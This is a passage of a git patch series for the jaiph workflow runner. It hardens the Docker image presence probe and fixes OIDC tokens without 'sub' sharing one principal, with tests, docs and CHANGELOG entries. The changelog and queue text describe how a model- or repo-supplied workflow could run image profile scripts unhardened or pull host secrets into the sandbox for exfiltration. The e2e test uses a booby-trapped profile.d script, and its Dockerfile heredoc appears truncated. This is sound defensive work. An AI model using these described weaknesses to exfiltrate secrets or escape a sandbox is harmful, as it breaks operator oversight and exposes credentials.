— both run `docker kill ` (bounded 5 s) then `docker rm -f ` (bounded 10 s), best-effort, so the `--rm` container disappears from `docker ps` within a bounded window. Splitting kill from rm avoids macOS Docker Desktop lock contention where a single `docker rm -f` on a still-running container can block for the full timeout. Order matters: the container is stopped **before** `cleanupDocker` removes the host workspace snapshot at `/sandbox`, because that snapshot is bind-mounted into the container. The MCP per-call cancel path (`src/cli/mcp/call.ts`) applies the same teardown — `stopDockerContainer` then `cancelRunProcess`. Both sandbox modes (snapshot, inplace) share this contract. See [Sandboxing — interrupting a Docker run](sandboxing.md#interrupting-a-docker-run). diff --git a/docs/sandboxing.md b/docs/sandboxing.md index c17c1a6f..ba1af5e8 100644 --- a/docs/sandboxing.md +++ b/docs/sandboxing.md @@ -259,7 +259,7 @@ Set the backend with `agent.backend = "cursor" | "claude" | "codex"`. For creden The workspace snapshot is taken on the host, with no support needed inside the image, so the image ships no packages specific to the sandbox. -You can use a custom image through `JAIPH_DOCKER_IMAGE`. The image is **host-controlled**: a file-declared `runtime.docker_image` is rejected (`E_DOCKER_IMAGE_HOST_ONLY`) when Docker is the active sandbox, so a repo- or model-supplied entry file cannot point the sandbox at an arbitrary image — only the operator selects it via `JAIPH_DOCKER_IMAGE`. The selected image must already contain `jaiph`, or the run fails with `E_DOCKER_NO_JAIPH`. Project-specific extras, such as several language versions, database servers, or cloud CLIs beyond the defaults, belong in a workspace override image, not in the published default. +You can use a custom image through `JAIPH_DOCKER_IMAGE`. The image is **host-controlled**: a file-declared `runtime.docker_image` is rejected (`E_DOCKER_IMAGE_HOST_ONLY`) when Docker is the active sandbox, so a repo- or model-supplied entry file cannot point the sandbox at an arbitrary image — only the operator selects it via `JAIPH_DOCKER_IMAGE`. The selected image must already contain `jaiph`, or the run fails with `E_DOCKER_NO_JAIPH`. Jaiph runs that presence check under the same sandbox hardening as a real run, with every capability dropped, no new privileges, a non-root user, and no network, and it uses a non-login shell. Because the shell is non-login, the check never sources profile scripts baked into the image (`/etc/profile` and `/etc/profile.d/*`), so a custom image cannot run startup or profile code at a higher privilege than the run itself just to answer the check. Project-specific extras, such as several language versions, database servers, or cloud CLIs beyond the defaults, belong in a workspace override image, not in the published default. ## Related diff --git a/e2e/test_all.sh b/e2e/test_all.sh index b545bee4..3882d84c 100755 --- a/e2e/test_all.sh +++ b/e2e/test_all.sh @@ -29,6 +29,7 @@ TEST_SCRIPTS=( "e2e/tests/74c_docker_prepull.sh" "e2e/tests/74d_docker_snapshot_isolation.sh" "e2e/tests/74e_docker_git_snapshot_content.sh" + "e2e/tests/74f_docker_probe_hardening.sh" "e2e/tests/74_docker_lifecycle.sh" "e2e/tests/74_live_step_output.sh" "e2e/tests/75_docker_live_step_output.sh" diff --git a/e2e/tests/74f_docker_probe_hardening.sh b/e2e/tests/74f_docker_probe_hardening.sh new file mode 100755 index 00000000..09c91a9e --- /dev/null +++ b/e2e/tests/74f_docker_probe_hardening.sh @@ -0,0 +1,99 @@ +#!/usr/bin/env bash + +set -euo pipefail + +ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)" +source "${ROOT_DIR}/e2e/lib/common.sh" + +# Derived probe-test image built below; removed on exit alongside temp dirs. +PROBE_IMAGE="jaiph-e2e-probe-profile:local" +cleanup_probe() { + docker rmi -f "${PROBE_IMAGE}" >/dev/null 2>&1 || true + e2e::cleanup +} +trap cleanup_probe EXIT + +e2e::prepare_test_env "docker_probe_hardening" +TEST_DIR="${JAIPH_E2E_TEST_DIR}" + +# Gate on Docker availability — skip gracefully when Docker is not installed. +if ! command -v docker >/dev/null 2>&1 || ! docker info >/dev/null 2>&1; then + e2e::section "docker probe hardening (skipped — Docker unavailable)" + e2e::skip "Docker is not available, skipping Docker probe hardening tests" + exit 0 +fi + +if ! e2e::ensure_docker_test_image; then + e2e::section "docker probe hardening (skipped — test image build failed)" + e2e::skip "Could not build local Docker test image" + exit 0 +fi + +# --------------------------------------------------------------------------- +# Profile scripts baked into the probed image must NOT be sourced by the probe. +# +# The jaiph-presence probe (imageHasJaiph) runs a workflow-selected image before +# the real run. Historically it used a login shell (`sh -lc`), which sources +# /etc/profile and /etc/profile.d/* — image-controlled code executed at higher +# privilege than the hardened run (M-8). Build an image whose profile.d script +# aborts any login shell (`exit 47`): a login-shell probe would fail and the run +# would abort with E_DOCKER_NO_JAIPH. The hardened non-login probe (`sh -c`) +# never sources it, so the presence check passes and the workflow runs. +# --------------------------------------------------------------------------- + +e2e::section "docker probe hardening — image profile scripts are not sourced by the probe" + +# Derive an image from the local runtime test image, adding a profile.d script +# that breaks any login shell. Needs root to write under /etc; restore the +# non-root default user afterwards so the image behaves like the real runtime. +build_ctx="${TEST_DIR}/probe_ctx" +mkdir -p "${build_ctx}" +cat >"${build_ctx}/Dockerfile" < /etc/profile.d/zz-boom.sh \\ + && chmod 0644 /etc/profile.d/zz-boom.sh +USER jaiph +EOF + +if ! docker build -t "${PROBE_IMAGE}" -f "${build_ctx}/Dockerfile" "${build_ctx}" >/dev/null 2>&1; then + e2e::skip "Could not build derived probe-test image" + exit 0 +fi + +e2e::file "probe_hardening.jh" <<'EOF' +script greet_impl = ``` +echo "hello from container" +``` +rule greet() { + run greet_impl() +} + +workflow default() { + ensure greet() +} +EOF + +stdout_file="${TEST_DIR}/probe_stdout.txt" +stderr_file="${TEST_DIR}/probe_stderr.txt" + +# When: run the workflow against the profile-booby-trapped image. +timeout 120 bash -c "JAIPH_DOCKER_ENABLED=true JAIPH_DOCKER_IMAGE='${PROBE_IMAGE}' jaiph run '${TEST_DIR}/probe_hardening.jh'" \ + >"${stdout_file}" 2>"${stderr_file}" || true + +stdout_content="$(<"${stdout_file}")" +stderr_content="$(<"${stderr_file}")" + +# Then: the probe must NOT have failed — a login-shell probe would have aborted +# the presence check with E_DOCKER_NO_JAIPH. +if echo "${stderr_content}" | grep -q "E_DOCKER_NO_JAIPH"; then + printf "stderr was:\n%s\n" "${stderr_content}" >&2 + e2e::fail "docker probe hardening: probe failed on image with profile.d script (login shell regression)" +fi + +# Then: the workflow ran to completion — the hardened probe passed. +# assert_contains: banner format varies by TTY/colour; the run marker is stable. +e2e::assert_contains "${stdout_content}" "workflow default" \ + "docker probe hardening: workflow runs when probed image has profile.d scripts" + +e2e::pass "docker probe hardening: profile scripts not sourced by the presence probe" diff --git a/src/runtime/docker.test.ts b/src/runtime/docker.test.ts index 16a3048d..9f2bea96 100644 --- a/src/runtime/docker.test.ts +++ b/src/runtime/docker.test.ts @@ -7,6 +7,8 @@ import { remapDockerEnv, resolveDockerHostRunsRoot, verifyImageHasJaiph, + buildImageProbeArgs, + PROBE_USER, prepareImage, isEnvAllowed, ENV_ALLOW_PREFIXES, @@ -832,6 +834,88 @@ test("verifyImageHasJaiph: throws E_DOCKER_NO_JAIPH with guidance for missing ja assert.ok(src.includes(GHCR_IMAGE_REPO), "error message must reference official GHCR image"); }); +// --------------------------------------------------------------------------- +// buildImageProbeArgs: the presence probe runs image-selected code, so it must +// carry the same hardening as a real run and never use a login shell (M-8). +// --------------------------------------------------------------------------- + +test("buildImageProbeArgs: applies full run hardening (cap-drop, no-new-privileges, non-root user, network none)", () => { + const args = buildImageProbeArgs("attacker/img:tag"); + + // --cap-drop ALL + const capIdx = args.indexOf("--cap-drop"); + assert.ok(capIdx >= 0, "probe must pass --cap-drop"); + assert.equal(args[capIdx + 1], "ALL", "probe must drop ALL capabilities"); + + // --security-opt no-new-privileges + const secIdx = args.indexOf("--security-opt"); + assert.ok(secIdx >= 0, "probe must pass --security-opt"); + assert.equal(args[secIdx + 1], "no-new-privileges", "probe must set no-new-privileges"); + + // --user + const userIdx = args.indexOf("--user"); + assert.ok(userIdx >= 0, "probe must pass --user"); + const userArg = args[userIdx + 1]; + assert.equal(userArg, PROBE_USER, "probe must run as the pinned non-root user"); + const uid = userArg.split(":")[0]; + assert.notEqual(uid, "0", "probe --user must not be root (uid 0)"); + + // --network none + const netIdx = args.indexOf("--network"); + assert.ok(netIdx >= 0, "probe must pass --network"); + assert.equal(args[netIdx + 1], "none", "probe must disable networking"); +}); + +test("buildImageProbeArgs: uses a non-login shell (sh -c), never -l / -lc", () => { + const args = buildImageProbeArgs("attacker/img:tag"); + + // Entrypoint is sh with the presence check as a -c command. + const entryIdx = args.indexOf("--entrypoint"); + assert.ok(entryIdx >= 0, "probe must pin --entrypoint"); + assert.equal(args[entryIdx + 1], "sh", "probe entrypoint must be sh"); + + assert.ok(args.includes("-c"), "probe must invoke the shell with -c"); + // A login shell (-l / -lc) sources /etc/profile and /etc/profile.d/* baked + // into an attacker-chosen image. The probe must never request one. + assert.ok(!args.includes("-l"), "probe must not pass the -l login flag"); + assert.ok(!args.includes("-lc"), "probe must not use the -lc login shell"); +}); + +test("buildImageProbeArgs: profile scripts baked into the probed image are not sourced/executed", () => { + // The only shell command the probe runs is the bare PATH lookup — no login + // shell, so /etc/profile and /etc/profile.d/* are never sourced. + const args = buildImageProbeArgs("attacker/img:tag"); + const cmd = args[args.length - 1]; + assert.equal( + cmd, + "command -v jaiph >/dev/null 2>&1", + "probe command must be exactly the PATH lookup, with no image-controlled sourcing", + ); + assert.ok(!cmd.includes("."), "probe command must not source any script (no `.`/`source`)"); + assert.ok(!cmd.includes("source"), "probe command must not source any script"); + assert.ok(!cmd.includes("profile"), "probe command must not reference profile scripts"); +}); + +test("imageHasJaiph: verifyImageHasJaiph probes with the hardened, non-login args", () => { + // Capture the args the real probe path passes to docker, proving imageHasJaiph + // uses buildImageProbeArgs (hardening + non-login shell) end to end. + const origExec = _dockerExec.run; + let probeArgs: string[] | undefined; + _dockerExec.run = (args: string[]) => { + if (args[0] === "run") probeArgs = args; + }; + try { + assert.doesNotThrow(() => verifyImageHasJaiph("attacker/img:tag")); + } finally { + _dockerExec.run = origExec; + } + assert.deepEqual( + probeArgs, + buildImageProbeArgs("attacker/img:tag"), + "verifyImageHasJaiph must probe via buildImageProbeArgs", + ); +}); + // --------------------------------------------------------------------------- // validateMountHostPath: dangerous mount rejection // --------------------------------------------------------------------------- diff --git a/src/runtime/docker.ts b/src/runtime/docker.ts index 0b6b9b63..f43c0007 100644 --- a/src/runtime/docker.ts +++ b/src/runtime/docker.ts @@ -329,12 +329,56 @@ export function pullImageIfNeeded(image: string): void { if (!imageExistsLocally(image)) pullImage(image); } +/** + * Fixed non-root UID:GID for the presence probe (`nobody:nogroup`). + * + * The probe has no bind mounts, so — unlike a real run (`buildDockerArgs`) — it + * never needs to match host ownership and can pin the same non-root user on + * every platform (including macOS, where a real run leaves `--user` to Docker + * Desktop's UID translation). `command -v jaiph` only reads PATH and executes + * the world-executable jaiph binary, so `nobody` is sufficient. + */ +export const PROBE_USER = "65534:65534"; + +/** + * Build the `docker run` argument list for the jaiph-presence probe. + * + * The probed image is workflow-selectable (`runtime.docker_image`) and is + * `docker pull`ed before this runs, so it is attacker-influenced. The probe + * therefore adopts the SAME hardening posture as a real run + * (`buildDockerArgs`): every capability dropped, no new privileges, a non-root + * user, and no network — so image-baked code has nothing elevated to abuse. + * + * The shell is a NON-login `sh -c` (never `-l`/`-lc`): a login shell sources + * `/etc/profile` and `/etc/profile.d/*` baked into the image, executing + * image-controlled code before we have even confirmed the image is the official + * runtime. `command -v jaiph` needs only PATH resolution, which a non-login + * shell provides, so nothing image-controlled is sourced or executed beyond the + * bare PATH lookup. + */ +export function buildImageProbeArgs(image: string): string[] { + return [ + "run", + "--rm", + "--cap-drop", + "ALL", + "--security-opt", + "no-new-privileges", + "--user", + PROBE_USER, + "--network", + "none", + "--entrypoint", + "sh", + image, + "-c", + "command -v jaiph >/dev/null 2>&1", + ]; +} + function imageHasJaiph(image: string): boolean { try { - _dockerExec.run( - ["run", "--rm", "--entrypoint", "sh", image, "-lc", "command -v jaiph >/dev/null 2>&1"], - { stdio: "ignore", timeout: 30_000 }, - ); + _dockerExec.run(buildImageProbeArgs(image), { stdio: "ignore", timeout: 30_000 }); return true; } catch { return false; From 0656c144f051a385a9a51c3f36683da2555859ac Mon Sep 17 00:00:00 2001 From: Jakub Dzikowski Date: Fri, 31 Jul 2026 13:55:41 +0200 Subject: [PATCH 21/86] Feat: reject or distinctly identify sub-less OIDC tokens createOidcAuthenticator set the principal subject to the token sub or a shared "unknown" constant, and per-principal isolation keys entirely on principal.subject (lookupRun/listRuns and the idempotency composite key). Any two callers whose verified tokens omit sub (common for OAuth2 client-credentials / machine tokens) both authenticated as "unknown" and shared one run-visibility bucket and idempotency namespace, so client B could enumerate and cancel client A's runs and collide on A's Idempotency-Key (finding M-9). Identity now comes from the new exported principalSubject(payload), which returns the token sub when non-empty, else a non-empty client_id, else null; the authenticator rejects a verified token that yields null with 401, so no principal is ever assigned the shared "unknown" constant for isolation. Adds unit coverage for principalSubject and integration coverage asserting two sub-less tokens get distinct identities, client B cannot read/list/cancel client A's run, and a token with neither claim is 401. Docs and CHANGELOG updated. Co-Authored-By: Claude Opus 4.8 (1M context) --- CHANGELOG.md | 3 ++ QUEUE.md | 15 ------- docs/cli.md | 4 +- docs/observability.md | 5 ++- docs/serve.md | 2 +- integration/serve-auth.test.ts | 71 ++++++++++++++++++++++++++++++---- src/cli/serve/auth.test.ts | 18 +++++++++ src/cli/serve/auth.ts | 28 +++++++++++--- 8 files changed, 114 insertions(+), 32 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 502a6ec3..ffdd1cd8 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -9,9 +9,12 @@ - **A workflow file can no longer weaken the Docker sandbox it runs in:** the entry file's `runtime.docker_image` and any isolation-breaking `runtime.docker_network` value (`host`, `container:*`, `ns:*`) are now host-controlled. When Docker is the active sandbox, a file-declared image is rejected (`E_DOCKER_IMAGE_HOST_ONLY`) and a file-declared `host` / `container:*` / `ns:*` network is rejected (`E_DOCKER_NETWORK_HOST_ONLY`), so a repo- or model-supplied workflow can no longer point the sandbox at an arbitrary image or join the host network namespace while still appearing sandboxed. Host-safe in-file network values (`default`, `none`, a named bridge network) are still honoured, and only the operator's `JAIPH_DOCKER_IMAGE` / `JAIPH_DOCKER_NETWORK` can select an image or an isolation-breaking network. - **The image presence check no longer runs unhardened image code:** the check that confirms a Docker image contains `jaiph` before a run now uses the same sandbox hardening as the run itself (every capability dropped, no new privileges, a non-root user, and no network) and a non-login shell, so it can no longer source or execute startup and profile scripts baked into a workflow-selected image at a higher privilege than the run. - **A workflow file can no longer pull arbitrary host secrets into the Docker sandbox by declaring them:** the entry file's `trusted_envs` keys cross the sandbox allowlist only when the operator opts in with `JAIPH_TRUSTED_ENVS=1`. Absent the opt-in, a file-declared `trusted_envs` is ignored under Docker with a pre-flight warning, so an untrusted or model-edited entry naming `AWS_SECRET_ACCESS_KEY` or `GITHUB_TOKEN` cannot forward that host secret across the allowlist on its own. Host modes have no allowlist to bypass, so they honour the declaration as before, and authoring the entry file is now a trust boundary equal to `--env`. +- **A `sub`-less OIDC token no longer collapses onto one shared identity:** the OIDC principal is the token `sub`, falling back to `client_id` for machine tokens (OAuth2 client-credentials) that omit `sub`, and a verified token carrying neither claim is rejected with `401` instead of authenticating as a shared `unknown` principal. Two machine callers on the same issuer can no longer share one run-visibility bucket or idempotency namespace, so neither can list, read, or cancel the other's runs. ## All changes +- **Security — reject or distinctly identify OIDC tokens that lack `sub` (finding M-9):** `createOidcAuthenticator` (`src/cli/serve/auth.ts`) set the principal subject to `typeof payload.sub === "string" && payload.sub.length > 0 ? payload.sub : "unknown"`, and per-principal isolation keys entirely on `principal.subject`: `lookupRun` and `listRuns` compare `record.principal` to it (`src/cli/serve/handler.ts`), and the idempotency index is the composite `principal\nworkflow\nkey`. OIDC principals are scoped (`ownsAllRuns: false`) and may inspect or cancel only their own runs, but any two callers whose verified tokens omit `sub` (common for OAuth2 client-credentials / machine tokens) both authenticated as `subject === "unknown"` and shared one run-visibility bucket and idempotency namespace, so client B could enumerate and cancel client A's runs and collide on A's `Idempotency-Key`. Identity now comes from the new exported `principalSubject(payload)`, which returns the token `sub` when it is a non-empty string, else a non-empty `client_id`, else `null`; the authenticator rejects a verified token that yields `null` with `401` (`token has no subject (sub/client_id) to identify the caller`), so no principal is ever assigned the shared `unknown` constant for isolation. Tests: `src/cli/serve/auth.test.ts` (`principalSubject` prefers `sub`, falls back to `client_id`, returns `null` for neither or empty values, and is never `"unknown"`) and `integration/serve-auth.test.ts` (two `sub`-less tokens with distinct `client_id` get distinct identities and record their own `client_id` on the run; client B cannot read, list, or cancel client A's run; a token with neither claim is `401 E_UNAUTHORIZED`). Docs: the principal-identity clause in [CLI — `jaiph serve`](docs/cli.md#jaiph-serve), the `sub`/`client_id`/`401` note in [Serve workflows over HTTP](docs/serve.md), and the `jaiph.principal` note in [Export traces to an OTLP collector](docs/observability.md). + - **Security — harden the image `jaiph`-presence probe and drop its login shell (finding M-8):** `imageHasJaiph` (`src/runtime/docker.ts`) confirmed an image contained `jaiph` by running `docker run --rm --entrypoint sh -lc "command -v jaiph …"` with none of the hardening a real run gets (`buildDockerArgs`): no `--cap-drop ALL`, no `--user`, no `--security-opt no-new-privileges`, and no `--network none`. The probed image comes from `runtime.docker_image` and is `docker pull`ed first, and `sh -lc` is a login shell that sources `/etc/profile` and `/etc/profile.d/*`, so profile scripts baked into a workflow-selected image ran as the image's default user (typically root), with default capabilities, new privileges allowed, and default bridge egress — before the run had even confirmed the image was the official runtime. The probe args are now built by the new `buildImageProbeArgs` (`src/runtime/docker.ts`), which applies the same hardening as a real run — `--cap-drop ALL`, `--security-opt no-new-privileges`, a pinned non-root `--user` (`PROBE_USER`, `65534:65534` / `nobody`, safe because the probe has no bind mounts to match to host ownership), and `--network none` — and runs a non-login `sh -c` instead of `sh -lc`, so `command -v jaiph` resolves only PATH and nothing image-controlled is sourced or executed. Tests: `src/runtime/docker.test.ts` (the probe args carry `--cap-drop ALL`, `--security-opt no-new-privileges`, a non-root `--user`, and `--network none`; the shell is `sh -c`, never `-l` / `-lc`; the probe command is the bare PATH lookup and references no profile script; and `verifyImageHasJaiph` probes through `buildImageProbeArgs` end to end) and `e2e/tests/74f_docker_probe_hardening.sh` (a derived image whose `/etc/profile.d` script aborts any login shell still passes the presence check, proving the probe never sources it). Docs: the presence-check hardening note in [Sandboxing](docs/sandboxing.md) and the verification-probe note under **Docker runtime helper** in [Architecture](docs/architecture.md#core-components). - **Security — require an operator opt-in before honouring the entry file's `trusted_envs` (finding M-7):** the entry file's `config { trusted_envs = "…" }` was resolved from the operator's host environment and forwarded verbatim into the Docker container through the same explicit `-e` channel as `--env` pairs, bypassing the sandbox allowlist (`isEnvAllowed`, `src/runtime/docker.ts`) that keeps host secrets out. The reserved-key filter blocks only `JAIPH_*` names, so an untrusted or model-edited entry declaring `trusted_envs = "AWS_SECRET_ACCESS_KEY GITHUB_TOKEN"` pulled those host secrets into the sandbox, where a `run` step could send them off the machine over the default network — the in-file declaration was treated as per-key consent even though authoring the entry file is a trust boundary equal to `--env`. `planTrustedEnvs` (`src/cli/run/trusted-envs.ts`) now takes the active sandbox and an operator opt-in: under Docker it honours the entry file's declared keys only when `JAIPH_TRUSTED_ENVS` is `1` or `true` (the new `isTrustedEnvsOptIn`), and without the opt-in it forwards nothing and emits a pre-flight warning that names the ignored keys and how to opt in. A declared key that is unset on the host no longer aborts the pre-flight when the declaration is being ignored. Host modes have no allowlist to bypass — the runner inherits the host env directly — so they resolve the declaration as before. `JAIPH_TRUSTED_ENVS` joins `RESERVED_ENV_KEYS` (`src/env-reserved.ts`) so a file cannot name it through `--env` or `trusted_envs` (`E_ENV_RESERVED`); the opt-in is the operator's consent, not the file's. Tests: `src/cli/run/trusted-envs.test.ts` (under Docker without the opt-in the plan forwards nothing and warns, covering the non-`JAIPH_` name `AWS_SECRET_ACCESS_KEY`; with the opt-in the declared key is forwarded; an ignored declaration unset on the host does not error; `isTrustedEnvsOptIn` accepts `1` / `true` and rejects the rest) and `e2e/tests/146_trusted_envs.sh` (the Docker leg asserts the declared `TR_TOKEN` is absent from the sandbox without `JAIPH_TRUSTED_ENVS` and present with it). Docs: the opt-in condition and the trust-boundary note on the `trusted_envs` semantics in [Configuration](docs/configuration.md#trusted-envs), the new `JAIPH_TRUSTED_ENVS` row and the `--env`-alternative note in [Environment variables](docs/env-vars.md), and the env-exposure note in [Sandboxing](docs/sandboxing.md). diff --git a/QUEUE.md b/QUEUE.md index c0d08712..946ecbdd 100644 --- a/QUEUE.md +++ b/QUEUE.md @@ -14,21 +14,6 @@ Process rules: *** -## Reject or distinctly identify OIDC tokens lacking `sub` #dev-ready - -Context: ASI-07/ASI-04, MEDIUM, confidence 0.72. Finding M-9 — `sub`-less OIDC tokens collapse to one shared `unknown` principal. - -Problem: `auth.ts:228` sets `const subject = typeof payload.sub === "string" && payload.sub.length > 0 ? payload.sub : "unknown";`. Per-principal isolation keys entirely on `principal.subject` (`handler.ts` `lookupRun`/`listRuns` and the idempotency composite key). OIDC principals are scoped (`ownsAllRuns:false`) and may inspect/cancel only their own runs — but any two callers whose verified tokens omit `sub` (common for OAuth2 client-credentials / machine tokens) both authenticate as `subject === "unknown"` and share one run-visibility bucket. Two services on the same issuer with `sub`-less tokens let client B enumerate and cancel client A's runs and collide on A's `Idempotency-Key`. - -Location: `src/cli/serve/auth.ts:228`; `src/cli/serve/handler.ts` (`lookupRun`/`listRuns`, idempotency key). - -Remediation: Reject a verified token that lacks a non-empty `sub` (401), or derive identity from `sub` else `client_id` else fail — never a shared constant. - -### Acceptance criteria -- A verified OIDC token with no `sub` (and no fallback identity claim) is rejected with 401, or maps to a distinct per-caller identity rather than the shared `"unknown"` constant. -- Two distinct `sub`-less tokens never share a run-visibility bucket or idempotency namespace; a test asserts client B cannot enumerate/cancel client A's runs. -- A test asserts no principal is ever assigned the literal `subject === "unknown"` for isolation purposes. - ## Gate project-local `.jaiph/hooks.json` behind a workspace-trust decision #dev-ready Context: ASI-03/ASI-05, MEDIUM, confidence 0.80. Finding M-10 — project hooks execute on the host with no trust gate. diff --git a/docs/cli.md b/docs/cli.md index 2a57dc55..26db929d 100644 --- a/docs/cli.md +++ b/docs/cli.md @@ -403,13 +403,13 @@ The **Cap.** column names the capability an authenticated principal must hold to | `GET /v1/runs/{id}/artifacts/{path}` | `inspect` | Download one published file (`application/octet-stream`), streamed with backpressure — never buffered whole, so an arbitrarily large file costs no server memory and a client disconnect closes the file. Traversal-proof — `..`, absolute paths, and escaping symlinks are `404`. `413 E_ARTIFACT_TOO_LARGE` when the file exceeds `JAIPH_SERVE_MAX_ARTIFACT_BYTES`. | | `POST /v1/runs/{id}/cancel` | `cancel` | `202`; the run reaches `cancelled`. `409` if already terminal. | -The run object is `{run_id, workflow, status, started_at, ended_at, exit_status, signal, result_text, run_dir, principal, correlation_id}` where `status` is `running` \| `succeeded` \| `failed` \| `cancelled` \| `interrupted`. `principal` is the audit subject that created the run (`anonymous`/`operator` in open/static mode, the token `sub` in OIDC mode — never a token) and `correlation_id` is the request id attached at create time; both are `null` when unset. `interrupted` is the terminal state a run is reconciled to after a process death caught it mid-flight — its outcome is unknown, so it is neither `succeeded` nor `failed`, but it is never reported as permanently `running`. **A workflow failure is not an HTTP error** — the run object reports `status: "failed"` with the same failure narrative `jaiph mcp` returns, over HTTP `200`/`202`. Errors use `{error: {code, message}}` with `400 E_BAD_ARGS`, `401 E_UNAUTHORIZED` (missing/invalid static token), `401 E_TOKEN_EXPIRED` / `401 E_TOKEN_INVALID` (OIDC token expired, or bad audience/issuer/key/signature), `403 E_FORBIDDEN` (principal lacks the required capability), `404 E_NOT_FOUND`, `409 E_RUN_TERMINAL`, `409 E_IDEMPOTENCY_CONFLICT` (idempotency key reused with different arguments), `409 E_TAMPERED` (the run's journal failed its keyed integrity chain), `413 E_BODY_TOO_LARGE` (1 MiB request-body cap), `413 E_ARTIFACT_TOO_LARGE` (artifact download over `JAIPH_SERVE_MAX_ARTIFACT_BYTES`), `415` (non-`application/json` body), `429 E_TOO_MANY_RUNS`, and `503 E_AUTH_UNAVAILABLE` (OIDC identity provider / JWKS unreachable). +The run object is `{run_id, workflow, status, started_at, ended_at, exit_status, signal, result_text, run_dir, principal, correlation_id}` where `status` is `running` \| `succeeded` \| `failed` \| `cancelled` \| `interrupted`. `principal` is the audit subject that created the run (`anonymous`/`operator` in open/static mode, the token `sub` or `client_id` in OIDC mode — never a token) and `correlation_id` is the request id attached at create time; both are `null` when unset. `interrupted` is the terminal state a run is reconciled to after a process death caught it mid-flight — its outcome is unknown, so it is neither `succeeded` nor `failed`, but it is never reported as permanently `running`. **A workflow failure is not an HTTP error** — the run object reports `status: "failed"` with the same failure narrative `jaiph mcp` returns, over HTTP `200`/`202`. Errors use `{error: {code, message}}` with `400 E_BAD_ARGS`, `401 E_UNAUTHORIZED` (missing/invalid static token), `401 E_TOKEN_EXPIRED` / `401 E_TOKEN_INVALID` (OIDC token expired, or bad audience/issuer/key/signature), `403 E_FORBIDDEN` (principal lacks the required capability), `404 E_NOT_FOUND`, `409 E_RUN_TERMINAL`, `409 E_IDEMPOTENCY_CONFLICT` (idempotency key reused with different arguments), `409 E_TAMPERED` (the run's journal failed its keyed integrity chain), `413 E_BODY_TOO_LARGE` (1 MiB request-body cap), `413 E_ARTIFACT_TOO_LARGE` (artifact download over `JAIPH_SERVE_MAX_ARTIFACT_BYTES`), `415` (non-`application/json` body), `429 E_TOO_MANY_RUNS`, and `503 E_AUTH_UNAVAILABLE` (OIDC identity provider / JWKS unreachable). Each run's public record is persisted beside its journal as `run.json` when it finishes, and reconstructed into the registry on startup — so `GET /v1/runs`, `/v1/runs/{id}`, `/events`, and `/artifacts` keep working for pre-restart terminal runs, and idempotency keys survive a restart. `jaiph serve` is a **single-replica** service: the run registry, concurrency cap, and idempotency index are per-process and not shared across replicas — run two behind one load balancer and each has its own view. See [Serve — deployment topology](serve.md#deployment-topology). ### Auth and limits -- **Authentication** has two production modes (credentials come from the environment, never argv) plus an open loopback default. **Static single-operator token:** `JAIPH_SERVE_TOKEN` is a shared secret required on every `/v1/*` and `/mcp` request (`Authorization: Bearer `, constant-time compared). It is a fail-closed gate for **one operator** — no per-user identity, revocation, or per-action authorization; the operator holds every capability and sees every run — not multi-tenant authentication. **OIDC/JWT (multi-tenant):** set `JAIPH_SERVE_OIDC_ISSUER` + `JAIPH_SERVE_OIDC_AUDIENCE` (takes precedence over the static token; setting only one is a startup error) to verify bearer JWTs against the issuer's JWKS (discovered from `/.well-known/openid-configuration`, or set `JAIPH_SERVE_OIDC_JWKS_URI`) with a maintained JWT library — signature, `exp`/`nbf`, `aud`, `iss`, `kid`. Each token is authorized by OAuth scopes: `jaiph:invoke` (run), `jaiph:inspect` (read workflows/runs/events/artifacts, MCP `tools/list`), `jaiph:cancel` (cancel a run); a missing capability is `403 E_FORBIDDEN`, and a principal (the token `sub`) may inspect or cancel **only the runs it created**. The authenticated subject and the request's correlation id (`X-Correlation-Id` / `X-Request-Id`, else a generated UUID) attach to run metadata, the invoke/cancel audit log lines, OTLP resource attributes, and Sentry tags — never a token or a claim value. +- **Authentication** has two production modes (credentials come from the environment, never argv) plus an open loopback default. **Static single-operator token:** `JAIPH_SERVE_TOKEN` is a shared secret required on every `/v1/*` and `/mcp` request (`Authorization: Bearer `, constant-time compared). It is a fail-closed gate for **one operator** — no per-user identity, revocation, or per-action authorization; the operator holds every capability and sees every run — not multi-tenant authentication. **OIDC/JWT (multi-tenant):** set `JAIPH_SERVE_OIDC_ISSUER` + `JAIPH_SERVE_OIDC_AUDIENCE` (takes precedence over the static token; setting only one is a startup error) to verify bearer JWTs against the issuer's JWKS (discovered from `/.well-known/openid-configuration`, or set `JAIPH_SERVE_OIDC_JWKS_URI`) with a maintained JWT library — signature, `exp`/`nbf`, `aud`, `iss`, `kid`. Each token is authorized by OAuth scopes: `jaiph:invoke` (run), `jaiph:inspect` (read workflows/runs/events/artifacts, MCP `tools/list`), `jaiph:cancel` (cancel a run); a missing capability is `403 E_FORBIDDEN`, and a principal (the token `sub`, or `client_id` for `sub`-less machine tokens; a verified token with neither is `401 E_UNAUTHORIZED`) may inspect or cancel **only the runs it created**. The authenticated subject and the request's correlation id (`X-Correlation-Id` / `X-Request-Id`, else a generated UUID) attach to run metadata, the invoke/cancel audit log lines, OTLP resource attributes, and Sentry tags — never a token or a claim value. - Binding a non-loopback `--host` with **no** authentication is a startup error. On loopback, auth is optional (every caller is the `anonymous` principal with all capabilities). - `JAIPH_SERVE_EXPOSE_DOCS` (default `true`) controls whether `/docs` and `/openapi.json` are served; set `false` (or `0`) to return `404` for both and hide the API surface. `/healthz` is always open and credential-free (liveness/readiness only — no tokens or sensitive detail). - `JAIPH_SERVE_MAX_CONCURRENT` (default `4`) caps simultaneous runs; requests beyond it get `429`. diff --git a/docs/observability.md b/docs/observability.md index e0612d91..ccfe4cca 100644 --- a/docs/observability.md +++ b/docs/observability.md @@ -100,8 +100,9 @@ with `OTEL_RESOURCE_ATTRIBUTES`, and you can set the service name with `OTEL_SERVICE_NAME` (the default is `jaiph`). An authenticated `jaiph serve` run also carries the caller's identity as resource -attributes. `jaiph.principal` is the audit subject, which is the token `sub` in -OIDC mode and `operator` or `anonymous` otherwise. `jaiph.correlation_id` is the +attributes. `jaiph.principal` is the audit subject, which is the token `sub` (or +`client_id` for `sub`-less machine tokens) in OIDC mode and `operator` or +`anonymous` otherwise. `jaiph.correlation_id` is the request's `X-Correlation-Id` or `X-Request-Id`, or a generated UUID when neither is present. Both attributes are attached to every span of the trace, and neither is ever a bearer token or any value that carries a secret. They are absent for `jaiph diff --git a/docs/serve.md b/docs/serve.md index ff10a4cd..5c8f48e1 100644 --- a/docs/serve.md +++ b/docs/serve.md @@ -114,7 +114,7 